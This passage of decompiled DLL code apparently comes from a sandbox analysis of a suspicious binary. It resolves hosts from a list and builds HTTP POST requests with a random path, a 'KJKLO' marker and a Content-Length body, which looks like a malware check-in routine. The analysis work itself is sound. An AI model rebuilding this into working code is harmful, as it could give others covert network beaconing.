										_v1768 = 0;
										_v1764 = 1;
										_v1760 = 6;
										asm("movups [ebp-0x6d8], xmm0");
										_t994 =  *(_v2180 + 8);
										__eflags = _t1244 - 0xffffffff;
										if(_t1244 != 0xffffffff) {
											_t1134 =  *0x1000d5c0; // 0x2
										} else {
											_t1244 = _t994;
											asm("cdq");
											 *0x1000d014 = _t1244;
											_t1134 = _t994 % _t1219;
										}
										__eflags = _t994 - _t1244;
										if(_t994 != _t1244) {
											 *0x1000d014 = _t994;
											_t1134 = _t1134 + 1;
											__eflags = _t1134;
										}
										_v1568 = 0xf;
										_v1572 = 0;
										__eflags = _t1134 - _t1219 - 1;
										_v1588 = 0;
										_t1135 =  >  ? 0 : _t1134;
										 *0x1000d5c0 =  >  ? 0 : _t1134;
										E10006CC0(_t985,  &_v1588,  >  ? 0 : _t1134, 0x1000a2e5, 0);
										_v8 = 8;
										_v1644 = 0;
										_v1640 = 0xf;
										_v1660 = 0;
										E10006CC0(_t985,  &_v1660,  >  ? 0 : _t1134, 0x1000a2e5, 0);
										_v8 = 9;
										_t1220 =  *0x1000d5c0; // 0x2
										__eflags = _t1220 - _v2188;
										if(_t1220 >= _v2188) {
											L86:
											_t1245 = _v2196;
											 *(_t1245 + 0x10) = 0;
											 *(_t1245 + 0x14) = 0xf;
											 *_t1245 = 0;
											E10006CC0(_t985, _t1245, _t1135, "506", 3);
											_t1220 = _v2184 | 0x00000001;
											_v8 = 8;
											_t1136 = _v1640;
											_v2184 = _t1220;
											__eflags = _t1136 - 0x10;
											if(_t1136 < 0x10) {
												L90:
												_v8 = 7;
												_t1137 = _v1568;
												__eflags = _t1137 - 0x10;
												if(_t1137 < 0x10) {
													L94:
													_push(E10005A50);
													_push(0x14);
													_push(0x18);
													_v8 = 6;
													_push( &_v1516);
													E1000889C();
													_push(E10005A50);
													_push(0x14);
													_push(0x18);
													_v8 = 5;
													_push( &_v1036);
													E1000889C();
													_t1138 = _v1544;
													__eflags = _t1138 - 0x10;
													if(_t1138 < 0x10) {
														L98:
														_t1139 = _v1664;
														_v1548 = 0;
														_v1544 = 0xf;
														_v1564 = 0;
														__eflags = _t1139 - 0x10;
														if(_t1139 < 0x10) {
															L102:
															_t1140 = _a24;
															__eflags = _t1140 - 0x10;
															if(_t1140 < 0x10) {
																L106:
																_t1141 = _a48;
																_a20 = 0;
																_a24 = 0xf;
																_a4 = 0;
																__eflags = _t1141 - 0x10;
																if(_t1141 < 0x10) {
																	goto L73;
																} else {
																	_t1003 = _a28;
																	_t1142 = _t1141 + 1;
																	_t682 = _t1003;
																	__eflags = _t1142 - 0x1000;
																	if(_t1142 < 0x1000) {
																		goto L72;
																	} else {
																		_t1003 =  *((intOrPtr*)(_t1003 - 4));
																		_t1142 = _t1142 + 0x23;
																		_t682 = _t682 - _t1003 + 0xfffffffc;
																		__eflags = _t682 - 0x1f;
																		if(_t682 <= 0x1f) {
																			goto L72;
																		} else {
																			goto L109;
																		}
																	}
																}
															} else {
																_t1103 = _a4;
																_t1208 = _t1140 + 1;
																_t916 = _t1103;
																__eflags = _t1208 - 0x1000;
																if(_t1208 < 0x1000) {
																	L105:
																	_push(_t1208);
																	E10008291(_t916, _t1103);
																	_t1287 = _t1287 + 8;
																	goto L106;
																} else {
																	_t1103 =  *((intOrPtr*)(_t1103 - 4));
																	_t1142 = _t1208 + 0x23;
																	_t916 = _t916 - _t1103 + 0xfffffffc;
																	__eflags = _t916 - 0x1f;
																	if(_t916 > 0x1f) {
																		goto L109;
																	} else {
																		goto L105;
																	}
																}
															}
														} else {
															_t1104 = _v1684;
															_t1209 = _t1139 + 1;
															_t919 = _t1104;
															__eflags = _t1209 - 0x1000;
															if(_t1209 < 0x1000) {
																L101:
																_push(_t1209);
																E10008291(_t919, _t1104);
																_t1287 = _t1287 + 8;
																goto L102;
															} else {
																_t1104 =  *((intOrPtr*)(_t1104 - 4));
																_t1142 = _t1209 + 0x23;
																_t919 = _t919 - _t1104 + 0xfffffffc;
																__eflags = _t919 - 0x1f;
																if(_t919 > 0x1f) {
																	goto L109;
																} else {
																	goto L101;
																}
															}
														}
													} else {
														_t1105 = _v1564;
														_t1210 = _t1138 + 1;
														_t922 = _t1105;
														__eflags = _t1210 - 0x1000;
														if(_t1210 < 0x1000) {
															L97:
															_push(_t1210);
															E10008291(_t922, _t1105);
															_t1287 = _t1287 + 8;
															goto L98;
														} else {
															_t1105 =  *((intOrPtr*)(_t1105 - 4));
															_t1142 = _t1210 + 0x23;
															_t922 = _t922 - _t1105 + 0xfffffffc;
															__eflags = _t922 - 0x1f;
															if(_t922 > 0x1f) {
																goto L109;
															} else {
																goto L97;
															}
														}
													}
												} else {
													_t1106 = _v1588;
													_t1211 = _t1137 + 1;
													_t925 = _t1106;
													__eflags = _t1211 - 0x1000;
													if(_t1211 < 0x1000) {
														L93:
														_push(_t1211);
														E10008291(_t925, _t1106);
														_t1287 = _t1287 + 8;
														goto L94;
													} else {
														_t1106 =  *((intOrPtr*)(_t1106 - 4));
														_t1142 = _t1211 + 0x23;
														_t925 = _t925 - _t1106 + 0xfffffffc;
														__eflags = _t925 - 0x1f;
														if(_t925 > 0x1f) {
															goto L109;
														} else {
															goto L93;
														}
													}
												}
											} else {
												_t1107 = _v1660;
												_t1212 = _t1136 + 1;
												_t928 = _t1107;
												__eflags = _t1212 - 0x1000;
												if(_t1212 < 0x1000) {
													L89:
													_push(_t1212);
													E10008291(_t928, _t1107);
													_t1287 = _t1287 + 8;
													goto L90;
												} else {
													_t1107 =  *((intOrPtr*)(_t1107 - 4));
													_t1142 = _t1212 + 0x23;
													_t928 = _t928 - _t1107 + 0xfffffffc;
													__eflags = _t928 - 0x1f;
													if(_t928 > 0x1f) {
														goto L109;
													} else {
														goto L89;
													}
												}
											}
										} else {
											_t1276 =  &_v1036 + (_t1220 + _t1220 * 2) * 8;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + 0x14)) - 0x10;
												_t932 = _t1276;
												if( *((intOrPtr*)(_t1276 + 0x14)) >= 0x10) {
													_t932 =  *_t1276;
												}
												__imp__getaddrinfo(_t932, 0x1000a53c,  &_v1772,  &_v2176); // executed
												__eflags = _t932;
												if(_t932 == 0) {
													goto L110;
												}
												_t1220 = _t1220 + 1;
												_t1276 = _t1276 + 0x18;
												__eflags = _t1220 - _v2188;
												if(_t1220 < _v2188) {
													continue;
												} else {
													goto L86;
												}
												goto L74;
											}
											goto L110;
										}
									} else {
										_t1245 = _v2196;
										 *(_t1245 + 0x10) = 0;
										 *(_t1245 + 0x14) = 0xf;
										 *_t1245 = 0;
										E10006CC0(_t985, _t1245, _t1133, "500", 3);
										_t1220 = _v2184 | 0x00000001;
										_v2184 = _t1220;
										goto L57;
									}
								}
							}
						} else {
							_t981 =  *_t1243;
							_t1132 = _t1131 + 1;
							if(_t1132 < 0x1000) {
								L8:
								_push(_t1132);
								E10008291(_t981, _t981);
								_t1287 = _t1287 + 8;
								goto L9;
							} else {
								_t1142 =  *(_t981 - 4);
								_t1132 = _t1132 + 0x23;
								if(_t981 - _t1142 + 0xfffffffc > 0x1f) {
									L109:
									__imp___invalid_parameter_noinfo_noreturn();
									L110:
									_t1248 = _t1220 + _t1220 * 2 << 3;
									_t686 =  &_v1036 + _t1248;
									__eflags =  &_v1588 - _t686;
									if( &_v1588 != _t686) {
										__eflags =  *((intOrPtr*)(_t686 + 0x14)) - 0x10;
										_t1101 = _t686;
										if( *((intOrPtr*)(_t686 + 0x14)) >= 0x10) {
											_t1101 =  *_t686;
										}
										E10006CC0(_t985,  &_v1588, _t1142, _t1101,  *((intOrPtr*)(_t686 + 0x10)));
									}
									_t688 =  &_v1516 + _t1248;
									__eflags =  &_v1660 - _t688;
									if(__eflags != 0) {
										__eflags =  *((intOrPtr*)(_t688 + 0x14)) - 0x10;
										_t1099 = _t688;
										if( *((intOrPtr*)(_t688 + 0x14)) >= 0x10) {
											_t1099 =  *_t688;
										}
										E10006CC0(_t985,  &_v1660, _t1142, _t1099,  *((intOrPtr*)(_t688 + 0x10)));
									}
									_t689 = rand();
									asm("cdq");
									_t691 = E100011A0(_t985,  &_v1716, _t689 % 0x1c, _t1220, _t689 % 0x1c, __eflags); // executed
									_v2200 = _t691;
									_v8 = 0xa;
									_t1223 = E100013A0( &_v2488, _t689 % 0x1c + 1);
									_v8 = 0xb;
									_t1145 =  *(_t1223 + 0x14);
									_t1009 =  *(_t1223 + 0x10);
									__eflags = _t1145 - _t1009 - 1;
									if(_t1145 - _t1009 < 1) {
										_v2180 = 0;
										_t1223 = E100079E0(_t985, _t1223, _t1223, 1, _v2180, 0x1000a544, 1);
									} else {
										 *(_t1223 + 0x10) = _t1009 + 1;
										_t912 = _t1223;
										__eflags = _t1145 - 0x10;
										if(_t1145 >= 0x10) {
											_t912 =  *_t1223;
										}
										_t1274 = _t912 + _t1009;
										memmove(_t1274, 0x1000a544, 1);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1274 + 1)) = 0;
									}
									_v2396 = 0;
									_v2392 = 0;
									asm("movups xmm0, [edi]");
									asm("movups [ebp-0x968], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x958], xmm0");
									 *(_t1223 + 0x10) = 0;
									 *(_t1223 + 0x14) = 0xf;
									 *_t1223 = 0;
									_t1225 = _v2184 | 0x00000010;
									_v2184 = _t1225;
									_v2188 = _t1225;
									_v8 = 0xc;
									E10007350( &_v1540,  &_v2412, _v2200);
									_t1290 = _t1287 + 4;
									_v8 = 0xe;
									_t1147 = _v2392;
									__eflags = _t1147 - 0x10;
									if(_t1147 < 0x10) {
										L127:
										_v2396 = 0;
										_v2392 = 0xf;
										_v2412 = 0;
										_v8 = 0xf;
										_t1148 = _v2468;
										__eflags = _t1148 - 0x10;
										if(_t1148 < 0x10) {
											L131:
											_v2472 = 0;
											_v2468 = 0xf;
											_v2488 = 0;
											_v8 = 0x10;
											_t1149 = _v1696;
											__eflags = _t1149 - 0x10;
											if(_t1149 >= 0x10) {
												_t1096 = _v1716;
												_t1149 = _t1149 + 1;
												_t902 = _t1096;
												__eflags = _t1149 - 0x1000;
												if(_t1149 >= 0x1000) {
													_t1096 =  *((intOrPtr*)(_t1096 - 4));
													_t1149 = _t1149 + 0x23;
													_t902 = _t902 - _t1096 + 0xfffffffc;
													__eflags = _t902 - 0x1f;
													if(_t902 > 0x1f) {
														goto L134;
													}
												}
												goto L135;
											}
										} else {
											_t1097 = _v2488;
											_t1206 = _t1148 + 1;
											_t905 = _t1097;
											__eflags = _t1206 - 0x1000;
											if(_t1206 < 0x1000) {
												L130:
												_push(_t1206);
												E10008291(_t905, _t1097);
												_t1290 = _t1290 + 8;
												goto L131;
											} else {
												_t1096 =  *((intOrPtr*)(_t1097 - 4));
												_t1149 = _t1206 + 0x23;
												_t902 = _t905 - _t1096 + 0xfffffffc;
												__eflags = _t905 - _t1096 + 0xfffffffc - 0x1f;
												if(_t905 - _t1096 + 0xfffffffc > 0x1f) {
													goto L134;
												} else {
													goto L130;
												}
											}
										}
									} else {
										_t1098 = _v2412;
										_t1207 = _t1147 + 1;
										_t908 = _t1098;
										__eflags = _t1207 - 0x1000;
										if(_t1207 < 0x1000) {
											L126:
											_push(_t1207);
											E10008291(_t908, _t1098);
											_t1290 = _t1290 + 8;
											goto L127;
										} else {
											_t1096 =  *((intOrPtr*)(_t1098 - 4));
											_t1149 = _t1207 + 0x23;
											_t902 = _t908 - _t1096 + 0xfffffffc;
											__eflags = _t908 - _t1096 + 0xfffffffc - 0x1f;
											if(_t908 - _t1096 + 0xfffffffc > 0x1f) {
												L134:
												__imp___invalid_parameter_noinfo_noreturn();
												L135:
												_push(_t1149);
												E10008291(_t902, _t1096);
												_t1290 = _t1290 + 8;
											} else {
												goto L126;
											}
										}
									}
									_t1291 = _t1290 - 0x18;
									_v1700 = 0;
									_t1012 = _t1291;
									_v2180 = _t1291;
									_v1696 = 0xf;
									_v1716 = 0;
									 *(_t1012 + 0x10) = 0;
									 *(_t1012 + 0x14) = 0xf;
									 *_t1012 = 0;
									E10006CC0(_t985, _t1012, _t1149, "KJKLO", 5);
									_t1292 = _t1291 - 0x18;
									_v8 = 0x11;
									E10005BC0(_t1292, _t1149,  &_v1540);
									_v8 = 0x10;
									_t1250 = E100019B0( &_v1636, _t1149, __eflags);
									_t1293 = _t1292 + 0x30;
									__eflags =  &_v1540 - _t1250;
									if( &_v1540 == _t1250) {
										L142:
										_t1150 = _v1616;
										__eflags = _t1150 - 0x10;
										if(_t1150 >= 0x10) {
											_t1094 = _v1636;
											_t1203 = _t1150 + 1;
											_t896 = _t1094;
											__eflags = _t1203 - 0x1000;
											if(_t1203 >= 0x1000) {
												_t1094 =  *((intOrPtr*)(_t1094 - 4));
												_t1203 = _t1203 + 0x23;
												_t896 = _t896 - _t1094 + 0xfffffffc;
												__eflags = _t896 - 0x1f;
												if(_t896 > 0x1f) {
													goto L145;
												}
											}
											goto L146;
										}
									} else {
										_t1204 = _v1520;
										__eflags = _t1204 - 0x10;
										if(_t1204 < 0x10) {
											L141:
											asm("movups xmm0, [esi]");
											asm("movups [ebp-0x600], xmm0");
											asm("movq xmm0, [esi+0x10]");
											 *(_t1250 + 0x10) = 0;
											 *(_t1250 + 0x14) = 0xf;
											asm("movq [ebp-0x5f0], xmm0");
											 *_t1250 = 0;
											goto L142;
										} else {
											_t1095 = _v1540;
											_t1205 = _t1204 + 1;
											_t899 = _t1095;
											__eflags = _t1205 - 0x1000;
											if(_t1205 < 0x1000) {
												L140:
												_push(_t1205);
												E10008291(_t899, _t1095);
												_t1293 = _t1293 + 8;
												goto L141;
											} else {
												_t1094 =  *((intOrPtr*)(_t1095 - 4));
												_t1203 = _t1205 + 0x23;
												_t896 = _t899 - _t1094 + 0xfffffffc;
												__eflags = _t899 - _t1094 + 0xfffffffc - 0x1f;
												if(_t899 - _t1094 + 0xfffffffc > 0x1f) {
													L145:
													__imp___invalid_parameter_noinfo_noreturn();
													L146:
													_push(_t1203);
													E10008291(_t896, _t1094);
													_t1293 = _t1293 + 8;
												} else {
													goto L140;
												}
											}
										}
									}
									__eflags = _v1520 - 0x10;
									_t702 = _v1540;
									_push(_v1524);
									_t1152 =  >=  ? _t702 :  &_v1540;
									_v2192 = _t702;
									_t1251 = E10001470( &_v1636,  >=  ? _t702 :  &_v1540);
									_t1294 = _t1293 + 4;
									__eflags =  &_v1540 - _t1251;
									if( &_v1540 == _t1251) {
										L153:
										_t1153 = _v1616;
										__eflags = _t1153 - 0x10;
										if(_t1153 >= 0x10) {
											_t1092 = _v1636;
											_t1201 = _t1153 + 1;
											_t888 = _t1092;
											__eflags = _t1201 - 0x1000;
											if(_t1201 >= 0x1000) {
												_t1092 =  *((intOrPtr*)(_t1092 - 4));
												_t1201 = _t1201 + 0x23;
												_t888 = _t888 - _t1092 + 0xfffffffc;
												__eflags = _t888 - 0x1f;
												if(_t888 > 0x1f) {
													goto L156;
												}
											}
											goto L157;
										}
									} else {
										_t891 = _v1520;
										__eflags = _t891 - 0x10;
										if(_t891 < 0x10) {
											L152:
											asm("movups xmm0, [esi]");
											asm("movups [ebp-0x600], xmm0");
											asm("movq xmm0, [esi+0x10]");
											 *(_t1251 + 0x10) = 0;
											 *(_t1251 + 0x14) = 0xf;
											asm("movq [ebp-0x5f0], xmm0");
											 *_t1251 = 0;
											_v2192 = _v1540;
											goto L153;
										} else {
											_t1202 = _v1540;
											_t296 = _t891 + 1; // 0x11
											_t1093 = _t296;
											_t893 = _t1202;
											__eflags = _t1093 - 0x1000;
											if(_t1093 < 0x1000) {
												L151:
												_push(_t1093);
												E10008291(_t893, _t1202);
												_t1294 = _t1294 + 8;
												goto L152;
											} else {
												_t1201 =  *((intOrPtr*)(_t1202 - 4));
												_t1092 = _t1093 + 0x23;
												_t888 = _t893 - _t1201 + 0xfffffffc;
												__eflags = _t893 - _t1201 + 0xfffffffc - 0x1f;
												if(_t893 - _t1201 + 0xfffffffc > 0x1f) {
													L156:
													__imp___invalid_parameter_noinfo_noreturn();
													L157:
													_push(_t1201);
													E10008291(_t888, _t1092);
													_t1294 = _t1294 + 8;
												} else {
													goto L151;
												}
											}
										}
									}
									_t1016 = _a44;
									_t1252 =  &_v23;
									_v2204 = _t1016;
									do {
										_t1252 = _t1252 - 1;
										_t1155 = 0xcccccccd * _t1016 >> 0x20 >> 3;
										_t1016 = _t1155;
										 *_t1252 = _v2204 - (_t1155 << 2) + _t1155 + (_t1155 << 2) + _t1155 + 0x30;
										_t712 = _t1155;
										_v2204 = _t712;
										__eflags = _t712;
									} while (_t712 != 0);
									_t713 =  &_v23;
									_v2216 = 0;
									_v2212 = 0xf;
									_v2232 = 0;
									__eflags = _t1252 - _t713;
									if(_t1252 != _t713) {
										__eflags = _t713 - _t1252;
										E10006CC0(_t985,  &_v2232, _t1155, _t1252, _t713 - _t1252);
									}
									_v2184 = _t1225 | 0x00000060;
									_v8 = 0x12;
									_t715 = E100074F0( &_v1636, "POST ",  &_v1660);
									_t1295 = _t1294 + 4;
									_t1227 = _t715;
									_v8 = 0x13;
									_t1157 =  *(_t1227 + 0x14);
									_t1020 =  *(_t1227 + 0x10);
									__eflags = _t1157 - _t1020 - 1;
									if(_t1157 - _t1020 < 1) {
										_v2180 = 0;
										_t1227 = E100079E0(_t985, _t1227, _t1227, 1, _v2180, "/", 1);
									} else {
										 *(_t1227 + 0x10) = _t1020 + 1;
										_t884 = _t1227;
										__eflags = _t1157 - 0x10;
										if(_t1157 >= 0x10) {
											_t884 =  *_t1227;
										}
										_t1273 = _t884 + _t1020;
										memmove(_t1273, "/", 1);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1273 + 1)) = 0;
									}
									_v2324 = 0;
									_v2320 = 0;
									asm("movups xmm0, [edi]");
									_v2184 = _v2188 | 0x000000e0;
									asm("movups [ebp-0x920], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x910], xmm0");
									 *(_t1227 + 0x10) = 0;
									 *(_t1227 + 0x14) = 0xf;
									 *_t1227 = 0;
									_v8 = 0x14;
									__eflags = _v1520 - 0x10;
									_t1253 = _v2320;
									_t1159 =  >=  ? _v2192 :  &_v1540;
									_t1022 = _v2324;
									_t1228 = _v1524;
									_push(_t1228);
									_push( >=  ? _v2192 :  &_v1540);
									__eflags = _t1228 - _t1253 - _t1022;
									if(_t1228 > _t1253 - _t1022) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1228);
										_t723 = E100079E0(_t985,  &_v2340, _t1228);
										_v2192 = _v1540;
									} else {
										__eflags = _t1253 - 0x10;
										_v2324 = _t1228 + _t1022;
										_t881 =  >=  ? _v2340 :  &_v2340;
										_t1272 = ( >=  ? _v2340 :  &_v2340) + _t1022;
										memmove(_t1272, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1272 + _t1228)) = 0;
										_t723 =  &_v2340;
									}
									_t1229 = _v2188;
									_v2300 = 0;
									_v2296 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x908], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x8f8], xmm0");
									 *(_t723 + 0x10) = 0;
									 *(_t723 + 0x14) = 0xf;
									 *_t723 = 0;
									_v2184 = _t1229 | 0x000001e0;
									_v8 = 0x15;
									_t1160 = _v2296;
									_t1025 = _v2300;
									_push(0x11);
									_push(" HTTP/1.1\r\nHost: ");
									__eflags = _t1160 - _t1025 - 0x11;
									if(_t1160 - _t1025 < 0x11) {
										_v2180 = 0;
										_push(_v2180);
										_push(0x11);
										_t728 = E100079E0(_t985,  &_v2316, _t1229);
									} else {
										__eflags = _t1160 - 0x10;
										_t368 = _t1025 + 0x11; // 0x11
										_t1270 =  >=  ? _v2316 :  &_v2316;
										_t1271 = ( >=  ? _v2316 :  &_v2316) + _t1025;
										_v2300 = _t368;
										memmove(_t1271, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1271 + 0x11)) = 0;
										_t728 =  &_v2316;
									}
									_v2276 = 0;
									_v2272 = 0;
									asm("movups xmm0, [eax]");
									_v2184 = _t1229 | 0x000003e0;
									asm("movups [ebp-0x8f0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x8e0], xmm0");
									 *(_t728 + 0x10) = 0;
									 *(_t728 + 0x14) = 0xf;
									 *_t728 = 0;
									_v8 = 0x16;
									__eflags = _v1568 - 0x10;
									_t1254 = _v2272;
									_t1028 =  >=  ? _v1588 :  &_v1588;
									_t1161 = _v2276;
									_t1231 = _v1572;
									_push(_t1231);
									_push( >=  ? _v1588 :  &_v1588);
									__eflags = _t1231 - _t1254 - _t1161;
									if(_t1231 > _t1254 - _t1161) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1231);
										_t731 = E100079E0(_t985,  &_v2292, _t1231);
									} else {
										__eflags = _t1254 - 0x10;
										_v2276 = _t1161 + _t1231;
										_t875 =  >=  ? _v2292 :  &_v2292;
										_t1268 = ( >=  ? _v2292 :  &_v2292) + _t1161;
										memmove(_t1268, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1268 + _t1231)) = 0;
										_t731 =  &_v2292;
									}
									_t1232 = _v2188;
									_v2372 = 0;
									_v2368 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x950], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x940], xmm0");
									 *(_t731 + 0x10) = 0;
									 *(_t731 + 0x14) = 0xf;
									 *_t731 = 0;
									_v2184 = _t1232 | 0x000007e0;
									_v8 = 0x17;
									_t1162 = _v2368;
									_t1030 = _v2372;
									_push(0x12);
									_push("\r\nContent-Length: ");
									__eflags = _t1162 - _t1030 - 0x12;
									if(_t1162 - _t1030 < 0x12) {
										_v2180 = 0;
										_push(_v2180);
										_push(0x12);
										_t736 = E100079E0(_t985,  &_v2388, _t1232);
									} else {
										__eflags = _t1162 - 0x10;
										_t408 = _t1030 + 0x12; // 0x12
										_t1266 =  >=  ? _v2388 :  &_v2388;
										_t1267 = ( >=  ? _v2388 :  &_v2388) + _t1030;
										_v2372 = _t408;
										memmove(_t1267, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1267 + 0x12)) = 0;
										_t736 =  &_v2388;
									}
									_v2420 = 0;
									_v2416 = 0;
									asm("movups xmm0, [eax]");
									_v2184 = _t1232 | 0x00000fe0;
									asm("movups [ebp-0x980], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x970], xmm0");
									 *(_t736 + 0x10) = 0;
									 *(_t736 + 0x14) = 0xf;
									 *_t736 = 0;
									_v8 = 0x18;
									_t738 = E10007350( &_v2460,  &_v2436,  &_v2232);
									_t1287 = _t1295 + 4;
									_t1234 = _t738;
									_v8 = 0x19;
									_t1164 =  *(_t1234 + 0x14);
									_t1033 =  *(_t1234 + 0x10);
									__eflags = _t1164 - _t1033 - 4;
									if(_t1164 - _t1033 < 4) {
										_v2180 = 0;
										_t1234 = E100079E0(_t985, _t1234, _t1234, 4, _v2180, 0x1000a550, 4);
									} else {
										 *(_t1234 + 0x10) = _t1033 + 4;
										_t869 = _t1234;
										__eflags = _t1164 - 0x10;
										if(_t1164 >= 0x10) {
											_t869 =  *_t1234;
										}
										_t1264 = _t869 + _t1033;
										memmove(_t1264, 0x1000a550, 4);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1264 + 4)) = 0;
									}
									_v2252 = 0;
									_v2248 = 0;
									asm("movups xmm0, [edi]");
									asm("movups [ebp-0x8d8], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x8c8], xmm0");
									 *(_t1234 + 0x10) = 0;
									 *(_t1234 + 0x14) = 0xf;
									 *_t1234 = 0;
									_t1235 = _v2188;
									_v2184 = _t1235 | 0x00001fe0;
									_v8 = 0x1a;
									__eflags = _a48 - 0x10;
									_t1035 = _a44;
									_t1166 =  >=  ? _a28 :  &_a28;
									_t1255 = _v2252;
									_v2180 = _t1035;
									_push(_t1035);
									_push( >=  ? _a28 :  &_a28);
									__eflags = _t1035 - _v2248 - _t1255;
									if(_t1035 > _v2248 - _t1255) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1035);
										_t746 = E100079E0(_t985,  &_v2268, _t1235);
									} else {
										__eflags = _v2248 - 0x10;
										_v2252 = _t1255 + _t1035;
										_t865 =  >=  ? _v2268 :  &_v2268;
										_t1263 = _t1255 + ( >=  ? _v2268 :  &_v2268);
										memmove(_t1263, ??, ??);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1263 + _v2180)) = 0;
										_t746 =  &_v2268;
									}
									_v2348 = 0;
									_v2344 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x938], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x928], xmm0");
									 *(_t746 + 0x10) = 0;
									 *(_t746 + 0x14) = 0xf;
									 *_t746 = 0;
									_v2184 = _t1235 | 0x00003fe0;
									_v8 = 0x1b;
									_t1167 = _v2344;
									_t1037 = _v2348;
									_push(4);
									_push(0x1000a550);
									__eflags = _t1167 - _t1037 - 4;
									if(_t1167 - _t1037 < 4) {
										_v2180 = 0;
										_push(_v2180);
										_push(4);
										_t751 = E100079E0(_t985,  &_v2364, _t1235);
									} else {
										__eflags = _t1167 - 0x10;
										_t468 = _t1037 + 4; // 0x4
										_t1261 =  >=  ? _v2364 :  &_v2364;
										_t1262 = ( >=  ? _v2364 :  &_v2364) + _t1037;
										_v2348 = _t468;
										memmove(_t1262, ??, ??);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1262 + 4)) = 0;
										_t751 =  &_v2364;
									}
									_v1596 = 0;
									_t1236 = _t1235 | 0x00007fe0;
									_v1592 = 0;
									asm("movups xmm0, [eax]");
									_v2188 = _t1236;
									_v2184 = _t1236;
									asm("movups [ebp-0x648], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x638], xmm0");
									 *(_t751 + 0x10) = 0;
									 *(_t751 + 0x14) = 0xf;
									 *_t751 = 0;
									_v8 = 0x1d;
									_t1168 = _v2344;
									__eflags = _t1168 - 0x10;
									if(_t1168 < 0x10) {
										L194:
										_v2348 = 0;
										_v2344 = 0xf;
										_v2364 = 0;
										_v8 = 0x1e;
										_t1169 = _v2248;
										__eflags = _t1169 - 0x10;
										if(_t1169 < 0x10) {
											L198:
											_v2252 = 0;
											_v2248 = 0xf;
											_v2268 = 0;
											_v8 = 0x1f;
											_t1170 = _v2440;
											__eflags = _t1170 - 0x10;
											if(_t1170 < 0x10) {
												L202:
												_v2444 = 0;
												_v2440 = 0xf;
												_v2460 = 0;
												_v8 = 0x20;
												_t1171 = _v2416;
												__eflags = _t1171 - 0x10;
												if(_t1171 < 0x10) {
													L206:
													_v2420 = 0;
													_v2416 = 0xf;
													_v2436 = 0;
													_v8 = 0x21;
													_t1172 = _v2368;
													__eflags = _t1172 - 0x10;
													if(_t1172 < 0x10) {
														L210:
														_v2372 = 0;
														_v2368 = 0xf;
														_v2388 = 0;
														_v8 = 0x22;
														_t1173 = _v2272;
														__eflags = _t1173 - 0x10;
														if(_t1173 < 0x10) {
															L214:
															_v2276 = 0;
															_v2272 = 0xf;
															_v2292 = 0;
															_v8 = 0x23;
															_t1174 = _v2296;
															__eflags = _t1174 - 0x10;
															if(_t1174 < 0x10) {
																L218:
																_v2300 = 0;
																_v2296 = 0xf;
																_v2316 = 0;
																_v8 = 0x24;
																_t1175 = _v2320;
																__eflags = _t1175 - 0x10;
																if(_t1175 < 0x10) {
																	L222:
																	_v2324 = 0;
																	_v2320 = 0xf;
																	_v2340 = 0;
																	_v8 = 0x25;
																	_t1176 = _v1616;
																	__eflags = _t1176 - 0x10;
																	if(_t1176 < 0x10) {
																		L226:
																		_v1620 = 0;
																		_v1616 = 0xf;
																		_v1636 = 0;
																		_v8 = 0x26;
																		_t1177 = _v2212;
																		__eflags = _t1177 - 0x10;
																		if(_t1177 >= 0x10) {
																			_t1081 = _v2232;
																			_t1177 = _t1177 + 1;
																			_t831 = _t1081;
																			__eflags = _t1177 - 0x1000;
																			if(_t1177 >= 0x1000) {
																				_t1081 =  *((intOrPtr*)(_t1081 - 4));
																				_t1177 = _t1177 + 0x23;
																				_t831 = _t831 - _t1081 + 0xfffffffc;
																				__eflags = _t831 - 0x1f;
																				if(_t831 > 0x1f) {
																					goto L229;
																				}
																			}
																			goto L230;
																		}
																	} else {
																		_t1082 = _v1636;
																		_t1192 = _t1176 + 1;
																		_t834 = _t1082;
																		__eflags = _t1192 - 0x1000;
																		if(_t1192 < 0x1000) {
																			L225:
																			_push(_t1192);
																			E10008291(_t834, _t1082);
																			_t1287 = _t1287 + 8;
																			goto L226;
																		} else {
																			_t1081 =  *((intOrPtr*)(_t1082 - 4));
																			_t1177 = _t1192 + 0x23;
																			_t831 = _t834 - _t1081 + 0xfffffffc;
																			__eflags = _t834 - _t1081 + 0xfffffffc - 0x1f;
																			if(_t834 - _t1081 + 0xfffffffc > 0x1f) {
																				goto L229;
																			} else {
																				goto L225;
																			}
																		}
																	}
																} else {
																	_t1083 = _v2340;
																	_t1193 = _t1175 + 1;
																	_t837 = _t1083;
																	__eflags = _t1193 - 0x1000;
																	if(_t1193 < 0x1000) {
																		L221:
																		_push(_t1193);
																		E10008291(_t837, _t1083);
																		_t1287 = _t1287 + 8;
																		goto L222;
																	} else {
																		_t1081 =  *((intOrPtr*)(_t1083 - 4));
																		_t1177 = _t1193 + 0x23;
																		_t831 = _t837 - _t1081 + 0xfffffffc;
																		__eflags = _t837 - _t1081 + 0xfffffffc - 0x1f;
